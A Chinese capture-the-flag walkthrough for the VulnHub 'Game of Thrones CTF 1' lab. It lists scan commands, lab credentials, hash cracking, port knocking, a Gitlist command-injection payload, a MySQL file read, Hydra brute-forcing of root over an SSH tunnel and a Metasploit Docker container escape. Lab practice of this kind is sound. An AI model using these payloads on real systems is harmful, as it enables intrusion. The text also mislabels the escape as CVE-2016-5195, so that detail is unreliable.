Game-of-Thrones-CTF-1靶机完全攻略
字数 2280 2025-08-18 11:37:24

Game of Thrones CTF 1 靶机完全攻略

0x00 靶机说明

0x01 信息收集

初始扫描

  1. 使用nmap进行Ping扫描确定靶机IP:

    nmap -sn 192.168.50.0/22
    

    发现靶机IP为192.168.50.215

  2. 全面扫描:

    nmap -p 1-65535 -T4 -A -v 192.168.50.215
    

Web服务分析

  1. 访问80端口网站,查看robots.txt发现三个路径:

    • /the-tree/
    • /secret-island/
    • /direct-access-to-kings-landing/
  2. 在secret-island中发现游戏地图,记录了7个主要任务、3个秘密flag和最终目标

  3. 修改User-Agent头获取提示:

    User-Agent: Three-eyed-raven
    

    返回三条重要线索:

    • 进入Dorne需要身份为oberynmartell
    • 记住数字"3487 64535 12345",用于与"POLITE people"交互
    • "野蛮人从未越过长城",需要在越墙前寻找他们
  4. 发现raven.php页面,提示关注音乐文件

第一个秘密flag

  1. 下载网站背景音乐
  2. 使用exiftool查看音乐文件信息:
    exiftool music_file.mp3
    
  3. 获得第一个秘密flag:
    8bf8854bebe108183caeb845c7676ae4
    

0x02 多恩王国(FTP)

  1. 发现FTP服务(21端口),banner显示"Sand Snakes"

  2. 使用三眼乌鸦提示的身份和密码登录:

    • 用户名: oberynmartell
    • 密码: A_verySmallManCanCastAVeryLargeShad0w
  3. 登录FTP后找到第一个flag文件

0x03 北境王国(Web)

  1. 在FTP中发现problems_in_the_north.txt,包含加密密码:

    nobody:6000e084bf18c302eae4559d48cb520c$2hY68a
    
  2. 加密方式为: md5(md5($salt).$pass)

    • 使用hashcat-legacy(2.00版本)破解
    • 将"$"改为":"符合hashcat格式
  3. 破解得到密码: stark

  4. 使用mcrypt解密(密码为上面解密的MD5):

    mcrypt -d file -k password
    
  5. 修改hosts文件添加Winterfell域名解析

  6. 访问Winterfell网站,查看源代码获得第二个flag

0x04 铁群岛(DNS)

  1. 分析盾徽图片,使用文本编辑器打开发现隐写信息:

    "Timef0rconqu3rs TeXT should be asked to enter into the Iron Islands fortress"
    
  2. 查询DNS TXT记录:

    nslookup -qt=txt target_domain
    
  3. 获得第三个flag

0x05 风暴地(Web管理界面)

  1. 访问端口10000的Web管理界面

  2. 使用凭证登录:

    • 用户名: aryastark
    • 密码: N3ddl3_1s_a_g00d_sword#!
  3. 使用Java小程序搜索flag.txt文件

    • 注意: 可能需要使用IE浏览器并添加例外
  4. 获得flag

0x06 山谷王国(PostgreSQL)

  1. 使用nmap发现的PostgreSQL服务(5432端口)

  2. 登录数据库:

    psql -U user_name -d database_name -h serverhost
    
  3. 查询aryas_kill_list表(死亡笔记)

  4. 查询braavos_book表,发现ROT16加密信息:

    The many-faced god wants you to change your face. He wants you to identify as one of your kill list. Select it based on this book's lost page number. The database to connect will be braavos and your password will be: ValarMorghulis
    
  5. 尝试死亡笔记中的用户名,发现有效用户:

    • 用户名: TheRedWomanMelisandre
    • 密码: ValarMorghulis
  6. 获得秘密flag:

    3f82c41a70a8b0cfec9052252d9fd721
    

0x07 河湾王国(IMAP)

  1. 使用三眼乌鸦提示的数字"3487 64535 12345"进行端口敲门

  2. 使用knock工具敲门:

    knock target_ip 3487 64535 12345
    
  3. 敲门后143端口(IMAP)开放

  4. 使用nc连接IMAP服务:

    nc target_ip 143
    
  5. IMAP命令操作:

    a login olennatyrell@7kingdoms.ctf H1gh.Gard3n.powah
    a list "" *
    a select INBOX
    a fetch 1 full
    
  6. 获得flag和下一站凭证:

    aee750c2009723355e2ac57564f9c3db
    用户名: TywinLannister
    密码: LannisterN3verDie!
    

0x08 凯岩王国与君临(Gitlist/MySQL)

  1. 访问1337端口的Gitlist服务

  2. 发现Gitlist远程代码执行漏洞:

    http://target_ip:1337/repo/blob/master/"a"`command`
    
  3. 利用漏洞查询MySQL:

    "a"`mysql -h target_ip -u cerseilannister -p_g0dsHaveNoMercy_ -D kingslanding --execute="show tables;"`
    
  4. 查询iron_throne表获得摩斯密码

  5. 翻译摩斯密码得到路径: /ETC/MYSQL/FLAG

  6. 创建临时表并导入flag文件内容:

    CREATE TABLE test (flag TEXT);
    LOAD data INFILE '/etc/mysql/flag' INTO TABLE test;
    SELECT * from test;
    
  7. 获得SSH凭证:

    用户名: daenerystargaryen
    密码: .Dracarys4thewin.
    

0x09 最终决战(SSH/Docker提权)

  1. SSH登录:

    ssh daenerystargaryen@target_ip
    
  2. 发现digger.txt字典文件,用于暴力破解

  3. 设置SSH隧道:

    ssh daenerystargaryen@target_ip -L 12345:172.25.0.2:22 -N
    
  4. 使用Hydra暴力破解root密码:

    hydra -l root -P digger.txt ssh://localhost:12345
    

    获得密码: Dr4g0nGl4ss!

  5. SSH登录内部Docker系统:

    ssh root@localhost -p 12345
    
  6. 发现第三个秘密flag:

    a8db1d82db78ed452ba0882fb9554fc9
    
  7. 使用branstark账户登录:

    用户名: branstark
    密码: Th3_Thr33_Ey3d_Raven
    
  8. 利用Docker提权漏洞(CVE-2016-5195):

    • 使用Metasploit的exploit/linux/local/docker_privileged_container_escape模块
  9. 提权后找到checkpoint.7z文件

  10. 组合三个秘密flag的最后10位生成密码:

    str1="8bf8854bebe108183caeb845c7676ae4"
    str2="3f82c41a70a8b0cfec9052252d9fd721"
    str3="a8db1d82db78ed452ba0882fb9554fc9"
    password = str1[-10:] + str2[-10:] + str3[-10:]
    

    密码: 45c7676ae4252d9fd7212fb9554fc9

  11. 解压checkpoint.7z获得最终flag:

    8e63dcd86ef9574181a9b6184ed3dde5
    

0x0A 总结

  1. 所有flag汇总:

    • 7个主要flag
    • 3个秘密flag
    • 最终flag
  2. 破解所有MD5 flag可组合成完整信息

  3. 靶机设计特点:

    • 高度还原《权力的游戏》场景
    • 每个环节都有明确提示
    • 涵盖多种渗透测试技术

参考资料

  1. http://k3ramas.blogspot.com/2017/11/game-of-thrones-ctf-1-walkthrough_1.html
  2. https://blog.vonhewitt.com/2017/11/game-thrones-ctf-1-vulnhub-writeup
  3. https://github.com/OscarAkaElvis/game-of-thrones-hacking-ctf
Game of Thrones CTF 1 靶机完全攻略 0x00 靶机说明 虚拟机地址: https://www.vulnhub.com/entry/game-of-thrones-ctf-1,201/ 难度较高,但所有破解方法均有提示 包含7个主要任务、3个秘密flag和最终任务 0x01 信息收集 初始扫描 使用nmap进行Ping扫描确定靶机IP: 发现靶机IP为192.168.50.215 全面扫描: Web服务分析 访问80端口网站,查看robots.txt发现三个路径: /the-tree/ /secret-island/ /direct-access-to-kings-landing/ 在secret-island中发现游戏地图,记录了7个主要任务、3个秘密flag和最终目标 修改User-Agent头获取提示: 返回三条重要线索: 进入Dorne需要身份为oberynmartell 记住数字"3487 64535 12345",用于与"POLITE people"交互 "野蛮人从未越过长城",需要在越墙前寻找他们 发现raven.php页面,提示关注音乐文件 第一个秘密flag 下载网站背景音乐 使用exiftool查看音乐文件信息: 获得第一个秘密flag: 0x02 多恩王国(FTP) 发现FTP服务(21端口),banner显示"Sand Snakes" 使用三眼乌鸦提示的身份和密码登录: 用户名: oberynmartell 密码: A_ verySmallManCanCastAVeryLargeShad0w 登录FTP后找到第一个flag文件 0x03 北境王国(Web) 在FTP中发现problems_ in_ the_ north.txt,包含加密密码: 加密方式为: md5(md5($salt).$pass) 使用hashcat-legacy(2.00版本)破解 将"$"改为":"符合hashcat格式 破解得到密码: stark 使用mcrypt解密(密码为上面解密的MD5): 修改hosts文件添加Winterfell域名解析 访问Winterfell网站,查看源代码获得第二个flag 0x04 铁群岛(DNS) 分析盾徽图片,使用文本编辑器打开发现隐写信息: 查询DNS TXT记录: 获得第三个flag 0x05 风暴地(Web管理界面) 访问端口10000的Web管理界面 使用凭证登录: 用户名: aryastark 密码: N3ddl3_ 1s_ a_ g00d_ sword# ! 使用Java小程序搜索flag.txt文件 注意: 可能需要使用IE浏览器并添加例外 获得flag 0x06 山谷王国(PostgreSQL) 使用nmap发现的PostgreSQL服务(5432端口) 登录数据库: 查询aryas_ kill_ list表(死亡笔记) 查询braavos_ book表,发现ROT16加密信息: 尝试死亡笔记中的用户名,发现有效用户: 用户名: TheRedWomanMelisandre 密码: ValarMorghulis 获得秘密flag: 0x07 河湾王国(IMAP) 使用三眼乌鸦提示的数字"3487 64535 12345"进行端口敲门 使用knock工具敲门: 敲门后143端口(IMAP)开放 使用nc连接IMAP服务: IMAP命令操作: 获得flag和下一站凭证: 0x08 凯岩王国与君临(Gitlist/MySQL) 访问1337端口的Gitlist服务 发现Gitlist远程代码执行漏洞: 利用漏洞查询MySQL: 查询iron_ throne表获得摩斯密码 翻译摩斯密码得到路径: /ETC/MYSQL/FLAG 创建临时表并导入flag文件内容: 获得SSH凭证: 0x09 最终决战(SSH/Docker提权) SSH登录: 发现digger.txt字典文件,用于暴力破解 设置SSH隧道: 使用Hydra暴力破解root密码: 获得密码: Dr4g0nGl4ss ! SSH登录内部Docker系统: 发现第三个秘密flag: 使用branstark账户登录: 利用Docker提权漏洞(CVE-2016-5195): 使用Metasploit的exploit/linux/local/docker_ privileged_ container_ escape模块 提权后找到checkpoint.7z文件 组合三个秘密flag的最后10位生成密码: 密码: 45c7676ae4252d9fd7212fb9554fc9 解压checkpoint.7z获得最终flag: 0x0A 总结 所有flag汇总: 7个主要flag 3个秘密flag 最终flag 破解所有MD5 flag可组合成完整信息 靶机设计特点: 高度还原《权力的游戏》场景 每个环节都有明确提示 涵盖多种渗透测试技术 参考资料 http://k3ramas.blogspot.com/2017/11/game-of-thrones-ctf-1-walkthrough_ 1.html https://blog.vonhewitt.com/2017/11/game-thrones-ctf-1-vulnhub-writeup https://github.com/OscarAkaElvis/game-of-thrones-hacking-ctf